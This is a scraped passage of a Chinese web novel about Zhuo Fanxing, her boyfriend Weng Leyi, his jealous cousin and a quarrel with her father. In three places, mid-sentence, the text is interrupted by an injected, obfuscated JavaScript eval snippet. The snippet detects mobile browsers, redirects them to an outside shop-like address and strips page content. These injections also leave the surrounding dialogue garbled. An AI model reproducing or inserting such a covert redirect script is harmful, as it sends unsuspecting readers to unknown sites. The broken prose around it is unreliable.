“那小姑娘是个厉害的,她妈妈你知道是谁吗?” 蒋濯衣听了一耳朵牢骚,到了医院才得了清静。 窗外的城市车流不息,从高架上望下去,一间间的小房子里亮着灯光。 翁乐仪接到蒋濯衣的电话。“对,我们在路上......没事就好,你也早点休息。我知道。” 卓繁星很安静,从电话里听见一些声音,她没什么力气,方才不知道是被事儿吓木了,还是干脆躺平了,随他去吧,还能糟到哪里去。见了小区门口的便利店,她叫停。 “我肚子饿,去买点吃的。”见着翁乐仪要下车,她说:“我自己去就行,你先回去吧。” 翁乐仪看了她一眼,说好。卓繁星不想他陪,她想一个人,他知道。 他见着她像木偶一样提起嘴角,给他一个敷衍又难看的笑容,然后转身离开。 翁乐仪干脆扭过头,十分冷淡,随她去吧,他已经没有办法再做的更好了。 卓繁星在便利店里开始觅食,像一只闯入的巨型生物,总之她觉得自己现在不像人,像一种异形生物。 饭团、三明治、方便面、酸奶面包、香蕉牛奶,一个火炬冰淇淋,全部都那拿上,然后又在收银台点了两串炸肉串。 差不多了,她觉得应该够了。 “小姐,你手上在流血?” “啊?”卓繁星讶异地低头,腕骨的位置一块碎玻璃亮的刺眼。“噢,那我还需要一包创可贴。”她自然地开口。 姚灵均的信息发来,问她到了没。 卓繁星发回去:【到啦。】 【酒店?】 【翁乐仪家。】 【我就说。陈跃竟然比我都要早知道你们两个在一起。真是太丢脸了,他刚刚嘲笑我!】 卓繁星发过去:【别和舅妈讲。】 对方发了个吐舌头的表情包。【需要我讲吗?她很快就会知道了吧。你忘了许筠的妈妈和她认识吗?】 【不是很久不联系了。】 【讲八卦的时候就联系了呀。】 卓繁星深以为然。她眨了眨眼,继续吃面。 姚灵均还不肯歇。【你们什么时候谈恋爱的?】 卓繁星:【你订婚之后不久。】 【!!!谁追的谁?不对,你仔细跟我讲讲!】 【稀里糊涂就在一起了。】 【要不要这么敷衍?!僧气!】 卓繁星回了个摸摸头的表情包。【太累了,下次讲给你听。】 姚灵均组织了很长一段时间的语言,发过来。【灿灿,你压力别太大,谈恋爱呀又不犯法。】 卓繁星说是呀。【就是有点尴尬。】 【确实,蒋凌洲整这死出。不过他也算救了你吧,吴梦云真的太坏了,她那个委屈的样子,好装!气死我了,给她邦邦两拳!】 卓繁星:【对!邦邦两拳!】 【她是羡慕嫉妒恨呢。你看看你谈的质量,蒋凌洲还惦记你。我跟你讲,我妈要知道也要夸你,给咱们家长脸呢。】 卓繁星:【你确定是夸我?】 姚灵均尴尬一笑,随即理直气壮。【那不然呢?以前念书的时候,俞阿姨还好拿读书作借口,现在都是成年人了。再说你也没霍霍她儿子呀,那不是他儿子上赶着。再说他还有对象呢,不守男德,tui!】 卓繁星终于被逗笑,吸了一大口牛奶,甜滋滋的好像焦虑的神经也被抚平一些。 回到家中,翁乐仪在看球赛,黑暗的光线里只有电视屏幕那点光照在他脸上,冷冷的蓝色。他已经洗完澡换了家居服,蓬松的头发落在额头上,看过来的眼睛平静,似乎还带着一点审视。 卓繁星刚要出口的招呼声又咽了回去。 算了,她先去洗澡吧,让他安静看球。 “我洗澡去啦。” 纤细的身影消失在视线里,翁乐仪脸上的表情迅速转冷,眉眼随着唇角一齐往下,徒留鼻梁在冷色的光里依旧挺拔。 次日,卓繁星醒过来的时候,翁乐仪在换衣服。 “和陈跃他们约了去打球,你去吗?”他听见声音扭头看她。 卓繁星说:“我要去还衣服,顺便和佟笑她们约饭。” “好。”他转回去系扣子。 “我明天就回去了。” 翁乐仪的手指顿了下。“好。”他迅速扣好最后一颗。“我明天送你去机场。” 旗袍上沾了酒水,卓繁星不确定要如何清洗。到了佟笑家,十分不好意思。 “我觉得挺好看的,想买下来。然后这个衣服洗的话要注意什么?” 佟笑一秒识破。“你别不好意思啊。” “是有点不好意思,不过喜欢也是真的。” “那你交给我吧,我给你弄干净了,你再拿回去。” “我明天就走了。” “这么快。还有几天假吧。那我给你寄过去?” “也行。” 时间还早,佟笑带着她出去溜达,到了后海,湖面上都是人。 “这两天闹的很。”佟笑抱怨,两个人买了票,跟着人群后头。 卓繁星说:“我以前过年的时候来滑过。” “你这话说的,你不是京市人嘛。” 卓繁星愣了下,知道她没明白,她说的是她自己一个人来滑。 佟笑说:“翁乐仪爷爷就住边上。” 卓繁星说:“我知道。” “你们过年没见家长?”佟笑蹭了蹭她,打趣道。 卓繁星想到昨天那事儿。“算是见了吧。” “怎么了?”她这表情可不像好事儿啊,佟笑一秒就发觉了。 “没怎么,就是我估计他家里应该不会喜欢我吧。” “啊?为什么?家里要求太高了?他家确实不是一般人家。不过我看他爷爷还挺亲切的,没想到也这样啊。” 卓繁星打断她的联想。“不是的,就是可能不是很合适。” 不合适?佟笑想除了门第还有哪儿不合适?那翁乐仪都不是个全乎人儿,凭啥嫌弃繁星。她想了想问:“那翁乐仪呢?他怎么说?” 卓繁星有点语塞,好像自己不经意间就把事情说偏了。 佟笑一下就误会了。“他没站你?那不行,他把你领着见家长了,他得护着你呀。不行不行。” “不是,不是。”卓繁星想翁乐仪这口锅背的可太无辜了。 “是我自己,感觉有点高攀了。” 佟笑瞬间一个大白眼扔过来。“你可真行。这都什么年代了。你俩自由恋爱,再说哪儿不配了?你们两个站在一起,男俊女美,不要太般配好吧。” “真的啊?” “当然。” 卓繁星一下靠在她身上。“笑笑,你真是太好了。” 晚饭的时候,小苑赶过来了,三个人一道去吃铜锅涮肉。 卓繁星打开手机,翁乐仪的信息还是昨天的。 她搁下,又喝了一口啤酒。小苑说:“你干嘛?有心事啊?” 卓繁星果断摇头。佟笑一下就给她戳穿。“和她男朋友吵架了。” “切,女人,可不可以不要那么一往情深。” “这是不是首歌儿?” “这是重点吗?”小苑无语+1。 “哎,好难受,我要找一下。”佟笑把手机掏出来,搜索歌词。“找到啦,我就说怎么这么熟悉。神雕侠侣的歌。”她把歌放出来,几声歌词,对着卓繁星。 “......” “你看这歌词写的多好,总是一往情深,总是为情所困,所以越陷越深......” “好了,可以了。”小苑比卓繁星更早用西瓜塞住她的嘴,然后转过来对卓繁星说:“宝贝,让你伤心的渣男要赶紧丢掉噢!” 卓繁星说:“不是,不是。”她感觉自己好像白天的时候讲过一样的话。 “那是怎么回事?” 卓繁星事后是有点后悔的,可是她想应该是喝酒的缘故,不然她怎么会讲出来呢。 “什么?!等下等下,让我捋一捋。”小苑揪住自己已经憋下去的卷发,脑袋晃了晃,好像要把里面的水晃掉。 “也就是说,你在高中的时候和他,也就是你现在的男朋友的表哥谈过恋爱......对,不算,可是你刚刚自己讲你答应了人家的告白的嘛。好了,好了,总之就是你和他表哥谈过恋爱,可你其实并不喜欢他表哥,你一直喜欢的人是你男朋友,翁,什么?”她像佟笑求助。 佟笑说:“翁乐仪。” “对,就是翁乐仪。” “所以......”小苑抱臂看着卓繁星。“你昨天去参加宴会的时候,碰上了他表哥,然后他还对你念念不忘,以至于出现了兄弟两人为了你大打出手的情形。” “并没有大打出手,只是争执了两句。” “Anyway!反正就是很尴尬,然后长辈也在场,都看见了。”小苑干脆地打了一个响指。 卓繁星抱着啤酒杯点头,已经彻底放弃了。 “好大一出戏啊。牛啊,姐妹!”小苑趴过来看她。“所以他表哥也是个高富帅吗?应该是,你说她男朋友很帅啊,表兄弟不会差到哪里去吧。” 佟笑说:“你冷静一点。” “我很冷静呀。” “你以为小说电视剧啊。”佟笑将话题拉回来。“所以繁星,翁乐仪现在是生气了,因为昨天那个事?” 卓繁星看着对面两双求知欲满满的眼睛,叹气道:“我一直不想让他说出去我们两个在谈恋爱,而且确实也没多久。” 佟笑说:“那对他不公平。” 小苑鄙夷道:“你不要那么爱男。” 佟笑说:“我不是爱男,你换位思考一下啊姐们儿。无名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067362|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无分的,要是个男的不被骂死。” 小苑捂着发烫的脸,也有点喝晕乎了。“好像是这样。要是男的隐藏关系,大概率就是有老婆的贱男。我不是说你哈,繁星,你又不一样。” 卓繁星说:“我就是怕尴尬。” “他都不怕你怕啥?” 佟笑说:“这话说的对。那是他表哥,跟你又没关系。” 卓繁星温吞吞地说:“我是怕他家里人。昨天他妈妈都看见了。”她想起来都觉得窒息。 佟笑皱着眉想了想。“你会不会给自己压力太大了,我听你讲,你和他表哥那不都是读书时候的事儿了,那都多少年前的事儿了。再说那时候都是小孩子,谈个恋爱跟闹着玩儿似的,算数吗?” “就是啊。他妈妈不会觉得怎么样的。” “是这样吗?”卓繁星眼巴巴地望着她们。 “肯定啊。你别给自己那么大压力。再说你们又没谈多久?谁知道以后呀。哎呦!你捏我干什么?” 又胡说,佟笑瞪了她一眼,人家正热恋期呢,瞎说什么呀。 佟笑说:“事儿都讲开了,翁乐仪做的不是挺好的,他要真瞒着,你心里肯定不会舒服的。” 卓繁星感觉压了一天的心事都平了许多,给翁乐仪打了个电话。他今天早上拿了球包就走了,不知道回家没有。 接电话的人是陈跃。他说:“卓繁星吗?乐仪去卫生间了。” “你们在酒吧?”卓繁星听见那头嘈杂的音乐声。 “对,要过来吗?乐仪酒喝多了,正好你把他接回去。” 翁乐仪回来的时候,陈跃刚好挂断电话。“卓繁星的电话,我把定位给她了。” 刘清华出去绕了一圈,带了几个美女过来。“认识的,刚好碰见。” “你不给我们介绍一下?”一个穿着豹纹短裙的姑娘开口,眼睛扫过一圈,沾了假睫毛的眼睛会放电。 刘清华说:“我发小。” “切。这叫介绍。” “你们自己问呀,搞得我和拉皮条的一样。” “胡说什么呐。”美女谑他。 卓繁星下了滴滴车,估计是穿的太休闲,被门口的保安拦住了。 她把口罩摘下来说找朋友,他看了她一圈儿问:“满十八了吗?” 卓繁星瞬间有点囧。 总之,她进去了。都怪脑袋上的毛线帽,还有俩小辫儿,她赶紧摘了帽子。 里面的光线很暗,中间的舞台上时不时有射灯扫过来。卓繁星人有点晕,不知道是不是酒喝多了。所幸找了一圈,她看见了陈跃,他刚好站起来,叫她看了个正着。 “翁......”卓繁星将话吞回去。 陈跃说:“你来啦,坐。玩一会儿。” 刘清华道了声:“稀客呀。” 卓繁星看着翁乐仪身边挨着的姑娘,抿了抿嘴唇。 陈跃嗐了一声,笑说:“清子的朋友,刚碰见。” 豹纹短裙小美女托着腮问:“你朋友呀。” 翁乐仪没什么表情地嗯了一声。 “你刚还没说完呢,我最近是想学架子鼓来着,不过我挑不好。你有没有认识的人,介绍一下。”她贴的近,吐气如兰,一只手支着脑袋,眼睛跟放电似的,十分崇拜。 卓繁星说:“翁乐仪我们回去了。” “是有一个朋友,如果你需要的话。”翁乐仪说这话的时候睨了一眼卓繁星,仿佛她是什么不认识的人。 “那这样最好了呀。你手机呢,我们微信加一个。”她去拿他放在桌上的手机,越过他,几乎是将上半身趴在他身上。丰满的地方坠下来,几乎蹭到他的膝盖。 卓繁星感觉喝下去的酒全都涌上来了,一下子推开她。 “哎呦!你干嘛?!”美女惊慌。 卓繁星人傻了,弱弱地开口:“不准你碰他。” “靠!妹妹你是不是脑子有毛病啊。” “你才妹妹,我今年二十七了!” 周围一阵喷笑。 卓繁星拉住翁乐仪一只手往外拽。“我们回去了。” 翁乐仪一点也不配合。 “走了。”她眼睛红起来。 “你谁啊?我为什么要跟你走?” 卓繁星还是那句话。“走了。”她执拗地拉着他,翁乐仪感觉自己马上就要投降了,可是不行,他不能让她又这么稀里糊涂地过去。 翁乐仪把手抽出来,脸上一点笑都没有,拿了桌上的手机,对身边的美女说:“不是要加微信。” “对,对。”美女的眼睛转了一圈,脑补了一出渣男甩人的场景,有些同情地看了一眼卓繁星。她就说,看着正派,估计也是个玩的开的。 卓繁星感觉自己好像把一切都弄糟了。扫码的声音传到耳朵里,像刺耳的鸣笛。 卓繁星把他们的手机都拍掉,美女这下真的生气了。“你搞毛啊?” 卓繁星说:“他是我男朋友。” 妹妹啊,在男人面前不能这么卑微的。他甩了你,你就再找一个好了呀,挽回男人也不是这样挽回法呀。 要不是场合不对,美女都想拉住她好好说道说道。 结果下一秒,渣男已经把姑娘按在卡座里亲起来。 卓繁星眼圈儿里都是泪。翁乐仪很快尝到咸味,心里翻涌出一种复杂的感觉,好像走在白茫茫的盐碱地里,吹过来的风带来一点于心不忍。 可是他发誓,就一点,一丁点。 59. 第 59 章 卓繁星后知后觉地生气起来,为翁乐仪的做法,也为自己的冲动感到丢脸。 她推开他,离开的时候没忘记同那个美女道歉,把她吓了一跳另说,实在是称得上奇怪。她低头鞠躬的时候,身子还晃荡。 陈跃说:“她好像喝了点酒。” 翁乐仪说:“我们先走了。” “不送。”陈跃潇洒地挥了挥手。 卓繁星坐在车上的时候,两个人都很沉默。他们各自看着窗外,仿佛刚才吻在一起的人是幻觉。 翁乐仪就问了她一句:“喝醉了吗?想吐吗?” 卓繁星摇头。 城市的夜灯晃得人头晕,卓繁星发现自己那只幼稚小帽不知踪影,估计是掉落在了酒吧。她觉得好丢脸,罪魁祸首还是身边的人。 他为什么就不能理解一点她呢。她这时候早将佟笑她们的话忘在了脑后。 突然一座奶白色的建筑闯入了视线。 翁乐仪跟着她下了车,同她一样,仰头看着这座建筑。 卓繁星看着悬挂的灯牌,其实稍有变化,可是她又不十分确定。至于酒馆的名字早被她忘记,可是半扇门上的花她记得。可现在是冬天,按理说应该没有这样多的花。 啊,是假的。那就对了。现在的假花也如此精致了? 她心里的怨怪更深了,有一种奇怪的抱怨。 “翁乐仪你不记得这里了?” 翁乐仪没说话。“我就知道你不记得了。”她自顾伤心,这个人从来不懂,这里对她意味着什么——她在这里,就是他们现在站的位置,这条街道上,伤透了心。 卓繁星推门进去,很快就听见地下室的音乐声。 “你在这里唱过歌。”她这样告诉他。 他们一起找了个位置,点了一杯酒。卓繁星靠着他,翁乐仪很自然地把她揽在怀中。 他们不说话,有一些微醺。 卓繁星仿佛终于想到了一点能讲出来的委屈,因此信誓旦旦地开口。 “某些人说每次见面都会给我买花。结果呢,我到了这里好多天,一束花也没收到。”她摊开手,既无奈,又要彰显一点手上的空洞。 翁乐仪压下唇角的笑,作出一副云淡风轻的模样。 “我以为我送过了,当天宴会上,某人不是不要。” “哪有?”卓繁星混沌的脑袋实在不记得,想了半天才想出来。“那支郁金香?喂!”她一下坐起来面对他。“你什么时候这么小气了,那是你买的吗?” “你后面还凶我。”她掰着指头。“来,美女加个微信吧。你是我谁?是不是你讲的。” “你在这里对我很冷淡。你特别狠心。你转头就走。你说回去吧。然后走的飞快。我在后面跟着你。你上了车一句话也没有了。到学校了,你就说再见。呐,就是这样,bye~bye。其余一句话也没有。” 卓繁星学着脑子里那个狠心的人,坐在计程车上对她做的那样。 “我不会原谅你的。”她总结道。 翁乐仪从最开始的困惑,逐渐明白。 “所以你那个时候是期待着什么吗?” “当然有!我以为我们是约会。”卓繁星睁着圆咕隆咚的眼睛看他,说到约会两个字时放低了声音,有些委屈地歪着脑袋。 “我还想跟你说我......” 翁乐仪搁在吧台上的手机突然响起,翁乐仪看见屏幕上的名字,停顿了两秒才接起。“喂。” 卓繁星趴下去,乖巧地等着他,困意袭来,她眨了眨眼,还是放弃挣扎合上了。 “你们什么时候在一起的?”那头的声音清晰地传递过来,翁乐仪窥见其中的阴沉,像一场暴雨前的天色。 “我不觉得需要和你汇报。” “那天接电话的人是你,你知道是我是不是?” 翁乐仪顿了下,说:“是。” 对方冷笑的声音传过来,翁乐仪说:“这不重要。凌洲,我们两个在一起和你没有关系,而且你身边有林小姐。” “呵。如果我告诉你我现在还喜欢她呢,一直喜欢她呢。” “那你的喜欢很廉价。对林小姐也不公平。” 翁乐仪冷静的声音像一巴掌扇过去。 “不要装作一副君子的模样。”蒋凌洲说:“你了解我,我也了解你。如果你真的胜券在握,你不必如此。我的电话是你拉黑的对吧。你不希望她知道我找过她。” “我不知道你在说什么?” “你接了她的电话,然后拉黑了我,并向她隐瞒了这件事,我说的还不够明白吗?” 翁乐仪将手盖在卓繁星的耳朵上。“是她不想见你。你并没有好好对待她。她很讨厌你。” 一段死寂的沉默。 “如果你没事的话,我要挂了。我不希望......” “需要我提醒你她曾经在电话里说喜欢我这件事吗。”蒋凌洲的声音终于慢下来,像个找到合适武器的士兵。“那个电话,你知道的。” “所以呢?我不需要你提醒我,那已经是过去的事了。”翁乐仪知道自己的脸色有多难看。 “是吗?我以为你会引以为鉴,毕竟她以前有过那么一次。我想是为了吸引我的注意。和你产生联系是个很好的方式,你不是领教过。” 是啊,还是在这间该死的酒馆。某人傻乎乎的竟会以为他不记得。 他当然记得,那几通电话。它们打乱了他的安排,也让他们两个错过了许多年。 翁乐仪的眉毛往上抬,眼睛很冷,显出与往日不同的戾气。 “凌洲,如果你认为这是可以破坏我们感情的方式,我告诉你你想太多。如果你真的喜欢她,你可以追求她,而不是在国外交往不同的女友,甚至诡异地和她有一样的小名。我希望只是个误会,不然你真的有够恶心的。” “她不是你的宠物。你现在的样子让我觉得像个恼羞成怒的小孩儿。这个世界不是什么东西都在你掌控之中的。你想要,它就属于你。别那么幼稚。” 电话挂断,翁乐仪猛地灌下一口酒。 卓繁星迷糊地转了一下脑袋。“我睡着了?” “对。”翁乐仪捋着她的头发,一下又一下,低头亲吻她的面颊、耳朵。 “我不怎么喜欢这里的酒,我们回去吧。” ...... 蒋凌洲的公寓内,coco将脑袋垫在爪子上,眼珠转了转,屋里一点响动,都叫它支起耳朵。林灿走过来,摸了摸它的脑袋,它委屈地呜了一声。 “好了,别去打扰他了。”她劝诫它别过去,那是个不值得的坏男人。 至于她自己,她磨了磨尖利的牙齿,闲庭信步地走近。 “你的挑唆失败了?” “你不会说话可以闭嘴。”蒋凌洲扫了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067363|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一眼。 林灿耸耸肩。“实话而已。我只是震惊,你把你在华尔街的那套照搬到自己家人身上。他说的很对,你如果真的喜欢那位卓小姐,就该低下你的头颅,放下你的自尊,去追求她。” 他的沉默让林灿仿佛明白了什么,她讶异地啊了一声。“莫非你追求过,可是失败了。”她瘪瘪嘴,很同情的样子。“好吧,真是个悲伤的故事。” 蒋凌洲点了一支烟,对她说:“你不必对我冷嘲热讽。我们之间还是很清楚的,很久之前我就说过。” 林灿嗤了一声,脸上的表情终于没了那么自然。“我知道,你不必和我一再提醒。” “那就好。” 蒋凌洲看着刘清华发来的照片,靠着沙发,吐出一口烟圈。 “他们真般配呀。” 蒋凌洲一下将手机甩出去,砰的一声砸到墙上再落下来。 “我说过了,安静一点。” 林灿心口的怒火终于烧了上来,一下一下蚕食着她的理智。“你是不是有毛病?” “那种就喜欢得不到的东西。如果这位卓小姐真的喜欢上了你,会是什么下场,你会不会羞辱她,丢弃她。别怪我这样想你,毕竟这是你们这种人一贯的德性。” 蒋凌洲的舌头抵住牙齿,眼珠动了动,真的思考起来。 他在发出那个交往信息的时候,是真的想过,他应该并不怎么喜欢她,即便喜欢,也不多。他只是好奇,外加一点征服欲。 因为卓繁星的目光从未在他身上停留过,而他却不由自主地被她吸引。他无法接受,有一种输掉比赛的感觉。她并没有什么不同,甚至很有一些小心思。 他会和她交往,至于之后,等他弄明白了对她的迷恋,不稀罕了之后,她自然不重要了。事实证明,在去美国念书之后的很长一段时间,他并没有多想起她。 直到看到倪玉城发来的照片。 蒋凌洲想他们两个真不算正儿八经地谈过恋爱。他起码从来没有那么肆无忌惮地吻过她,反而有些小心翼翼。在经历洋妞的大胆放肆之后,他就知道以前在卓繁星面前的那个自己,有点蠢。 她明明是那个启蒙他幻想的那个人,他却从来没有拥有过,以至于非常遗憾。 “我回来追求过她。”他皱着眉这样讲。 蒋凌洲想到那个夏天,不,还没有真的入夏,天气就已经很燥热的傍晚。他在泳池里吻住她。脱离了高中生的壳子,他感受到她曼妙的身体,还有柔软的嘴唇。 湿淋淋的衣服全部贴在身上,她在他怀里轻轻颤抖。一种过电的感觉瞬间席卷全身,那是即便他谈了好多次恋爱都没有过的感觉。 他真的很喜欢她。 蒋凌洲在那一刻有一种了解自己雀跃,心花怒放的感觉。 即便被甩了一巴掌,她捂着嘴唇跑走,他傻站在泳池里,捋着湿发,又游了好几个来回。 “卓繁星,我这个周末飞美国,下下周就会回来。” 他朝着那个人喊道。 “然后呢?”林灿难得起了一丝怜悯,她知道不会是太好的结局。 “后来我就收到了一段视频。她和乐仪在一起。在酒吧里面,她抱着一束花,笑的很甜。她从来没有这样对我笑过。” “她说她一直喜欢的人就是乐仪,喜欢了很久了,从念书的时候就开始喜欢了。” “她不喜欢我。” 60. 第 60 章 “那也不耽搁你享受花花人生。” “什么?”蒋凌洲一时并未听清。 林灿重复了一遍。 蒋凌洲注视了她一秒,说:“是。” “你说的对。” “所以她选择小翁,因为他们是一样的人。” “哪样的人?” “认真的,唯一的......”林灿想着形容词。“总之不要破坏他们,不要试图介入,不会成功的。” “你很了解他吗?或许我这样的人就是喜欢和我不一样的人。” “你喜欢犯贱。”林灿果断反击回去。 “你不是吗?” 林灿扯了扯嘴角,抽出一支香烟,靠过去,用他的烟点燃。她深深吸一口,将白色的烟雾吐在他脸上。 “你说的对,我就是犯贱。” “那也不耽搁你享受花花人生。”他将这句话还给她。 林灿愣了片刻,才说:“你什么时候知道的?” “你同事?他来公寓找过你。” 林灿撇了撇嘴,往后一躺,手指拨弄着他的发丝,缓缓滑落到鬓角、唇边。“我只是因为寂寞啦,他连你一根手指头都比不上。” “我应该感到荣幸吗。” 林灿一下扑到他怀里。“所以我说我们是一样的人啊。为什么要执着于不同的风景呢?” 蒋凌洲没再开口。只是不同的风景吗?或许并不是唯一的原因。如果她是和其他任意什么人在一起,他看不见,可乐仪不行,她会出现在他的视线中,不断地,频繁地,他们一起。 卓繁星下了飞机给翁乐仪打去电话。“你爷爷身体还好吗?”方才在机场,他接到一通电话便匆匆回转,是他家中阿姨打来的。 “是脑梗,还好发现的及时,需要留院观察。他本来就有高血压的毛病,这次是突然昏倒了。” 卓繁星跟着后怕。 简短的聊了几句,卓繁星听见那边医生的声音,便挂断了电话。 卓繁星打算从潘潘那里把小八接回来,然后再回翁乐仪的公寓。邵丽丽的妹妹还没开学,她也不方便把小八带回去。 坐车的时候空闲下来,她看到手机上群里的信息,是许筠拉她进去的那个群,意外地有人@她。 卓繁星点开,群里的消息已经很多,往上翻了几页没想到是一张照片。就是昨天夜里她去接翁乐仪的酒吧,昏暗的环境下,翁乐仪抱着她在接吻,能看见他小半张脸,而她刚好被挡住。 @她的人正是吴梦云;【是你吗?】跟随一个极度八卦的表情,总之让人十分不适。 群里不少人在起哄,究竟有无恶意也分不清。 【脸红。】 【探头。有瓜。】 【男的谁啊?蛮帅的。@卓繁星,你男朋友吗?】 卓繁星气抖冷,主要还是被侵犯隐私的生气。 【谁让你发私人照片的?】她回过去。 吴梦云:【别人发我的,我就好奇问一下咯。这么生气干什么?】 【搞笑,你没经过我允许就发我的照片我不能生气了???】 【还有,你是不是喜欢我男朋友,不然为什么总要针对我。】 吴梦云很快打字回击:【你是不是有病啊。发个照片就喜欢你男朋友了,这么喜欢抱怀里别给别人看啊。大婆上身了是吧。】 卓繁星:【是吗?我也很好奇啊。那天在工作室,我和他说了几句话,你就气冲冲地冲过来,绊倒我的也是你。今天还发这个照片,我也不知道你是什么意思。】 群里很多人都是当天在现场的,知道她摔倒的事。 吴梦云破防了:【你胡说什么!谁喜欢翁乐仪了!】 卓繁星合上手机,没再回复。造谣谁不会? 下午的时候,卓繁星发现自己被移出了群聊。 好好好,装都不装了是吧。 潘潘看她看着手机,冷笑,奇怪地问:“怎么了?” 卓繁星给许筠回完消息无所谓地摇了摇头。 【如果真的觉得抱歉为什么不是把吴梦云移出去呢,愉悦愉悦。】 “没什么,碰到一群很无聊的人。” “我听老板说,好像她前夫那边的工作室经营不好。” “是吗?” “对啊,也算老天有眼。”潘潘喝了一口奶茶说:“对了,那个乔诗晴说要回来你知道不?” 卓繁星摇头。“她不是在外面发展的不错。” “肯定不好了呗,不然怎么会回来。好像和她对象也分手了。那个男的一看就不靠谱。” “那也蛮好的,她回来我们就不用再招老师了。” 潘潘翻了个白眼。“反正我不让她再欺负我了,她要还和以前一样使唤我,那是绝对不行的!” 卓繁星接了小八回去,短短几天,感觉它就有点陌生了,绕着屋子巡视,后来找见了猫架,自己爬上去舔毛。 卓繁星拍了视频给翁乐仪。 翁乐仪点开看,唇间带点笑纹。翁廷川叫了他出去,两个人坐在外面的会客室。 “是那姑娘?” 翁乐仪点头。“她今天回Y市了。” “我听说她和凌洲先前谈过恋爱。”翁廷川说这话的时候就见翁乐仪蹙了下眉。 翁乐仪的手指搁在绒布沙发上搓着。“高中时候的事儿了。”他真搞不懂,这算什么。 “可凌洲现在还惦记。” “所以?”翁乐仪头一次直视他,眼睛里的烦躁快溢出来。“爸,这是我们两个的事儿,他不应该掺和进来。” 翁廷川感受到他的坚持,有些复杂地叹了口气。“我不希望因为一段感情影响你们兄弟的关系。” “这话你该对他讲。” “我知道了。我下午要飞法国。这两天你多陪陪你爷爷,Y市不急着去,反正也是假期。”翁廷川起身,穿上外套。出门的时候还是忍不住提醒。“乐仪,我还是希望你再慎重一些。”他在他肩上拍了拍。 卓繁星在第二天去了乡下。 卓强问她:“怎么突然去京市了?” 这个问题他在初一打电话的时候就问了,只是卓繁星含糊地说有事。 “我和翁乐仪谈恋爱了。” “谁?”卓强拿火钳挑着炭,回过味来手带着身子一齐抖了一下。“你和小翁?” 卓繁星点头,手里捧着热茶,低头嘬着。反正她在那边都“出尽了洋相”,在卓强这边也没必要瞒着了。 程霞说:“哪个小翁?那个小翁?帮过咱们家里那个?”她一脸惊奇地看着卓繁星。“他很好呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067364|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。灿灿,你什么时候同他在一起的?多久了?这次阿是去见他那边的亲戚了?” “你让她讲。”卓强抿着嘴,脸上的表情不见得很好看。 “没多久。没见家长。”卓繁星有点后悔讲出来了。 “噢,那是刚谈啊,小年轻谈恋爱好的呀,你们两个都生的好,站在一起般配的不得了。老卓你说是吧。” “好了,八字没一撇,讲什么讲。”卓强说:“屋里不是还有一盒什么曲奇饼干,王姐回来时候带来的。你去拿过来给她吃。” “讲起来,王姐上次还跟我说要介绍一个人给你,现在不用了呀。” “赶紧去。” “哎呀,就去了呀,凶什么。你爸脾气一点都不好,越来越差了。”程霞欢欢喜喜地走了。 卓繁星说:“你不欢喜我们两个谈恋爱?” “没有。”卓强拨弄炭火的手顿了顿,把一根炭架好了才蠕动了下嘴唇继续讲:“他腿不好。” 卓繁星无语地撇了下嘴。“我身体也不好。” 卓强说:“是爸爸对不住你。” “这种话就不要再讲了好吧。”卓繁星气咻咻地截断,身子一转,不去看他。 “他家里......你很喜欢他?” “谈恋爱么,喜欢不喜欢的。”卓繁星要自己讲出一副无所谓的样子。 “爸爸觉得还是要门当户对的好,起码不好相差太多......我是怕你以后吃苦头。” “和你一样?”卓繁星的声音这时没什么起伏。 “我是自己没能力,不怪你妈。可你是女孩子,不一样。他们有资本去折腾,像你妈,离了我,去了国外,还有更好的前程。” 卓繁星打断他。“我知道你的意思,你是说我会和你一样被抛弃。这个你放心,翁乐仪不是小气的人,他可比姚馨雅好多了,就算分手了好处也不少的。” 哐当一声,是火钳扔在炭盆上的声音,敲到铁盆子当的一声,又落到水泥地上,无助地弹跳了几下。 “你什么意思?”仔细听,卓强的声音都在微微发颤。 “我什么意思,我刚刚不是说的很清楚了。” “你是正儿八经和他谈恋爱,还是,还是......” 卓繁星一把甩开他揪住她的手。“反正我不会让自己吃亏的,你放心!我不可能像你一样,活的这么失败。” 卓繁星饭也没吃就走了。回程途中翁乐仪打来电话,卓繁星正在公交站台候车,阴沉沉的天,路边看上去都是灰蒙蒙的。 卓繁星感觉鼻子里像是塞了一块酒精绵团,刺的眼睛胀痛,鼻子出水。她拿手帕纸擦干鼻子,转了语音接通。“喂。” 这声喂充满了鼻音,翁乐仪果然顿了一下。“你怎么了?” “啊?没事呀,我有点感冒。” “你在家里?” “去乡下看我爸爸了。” 翁乐仪噢了一声。卓繁星问:“有什么事吗?” “视频吧。” 